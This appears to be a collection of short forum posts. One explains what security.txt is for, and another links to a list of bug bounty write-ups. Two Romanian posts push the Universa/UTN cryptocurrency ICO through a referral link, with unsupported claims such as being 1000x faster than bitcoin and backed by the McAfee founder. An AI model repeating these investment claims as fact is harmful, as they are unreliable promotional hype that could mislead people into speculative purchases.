What is the main purpose of security.txt? The main purpose of security.txt is to help make things easier for companies and security researchers when trying to secure platforms. Thanks to security.txt, security researchers can easily get in touch with companies about security issues. https://securitytxt.org/ https://github.com/securitytxt/securitytxt.org/ The idea of EdOverflow.

O lista cu referinte catre blog-uri ce contin write-up-uri despre bug-uri gasite in companii ce au un program bug bounty. https://github.com/ngalongc/bug-bounty-reference

Salut, poti verifica moneda asta.UTN coin.Inca e in faza de dezvoltare, strang fonduri, are niste investitori destul de ok.Poti sa iti faci cont cu google sau facebook si primesti 50 gratis.Who knows, peste 2-3 ani poate valoreaza ceva.Ai aici linkul meu de referal.Daca iti faci cont prin el primesc si eu 2.5 monezi. https://check.universa.io/

Salutare,azi am vazut ca s-a facut o noua moneda virtuala.Universa este acum in faza ICO ceea ce inseamna ca strang fonduri pentru lansare adica au cel mai mic pret posibil -0,0125$/moneda.E fondata de cel mai mare venture capitalist din Rusia.E sustinuta de fondatorul McAfee.Este de 1000x mai rapida decat bitcoin si 100x cheaper transaction fees.Mai sunt 10 zile pana la inchiderea lansarii si daca te inscrii primesti 50 tokens gratuit fara a face nimic (0 cost risc = 50 tokens) care ar putea valora ceva in viitor sau nu. Aveti aici linkul: https://check.universa.io/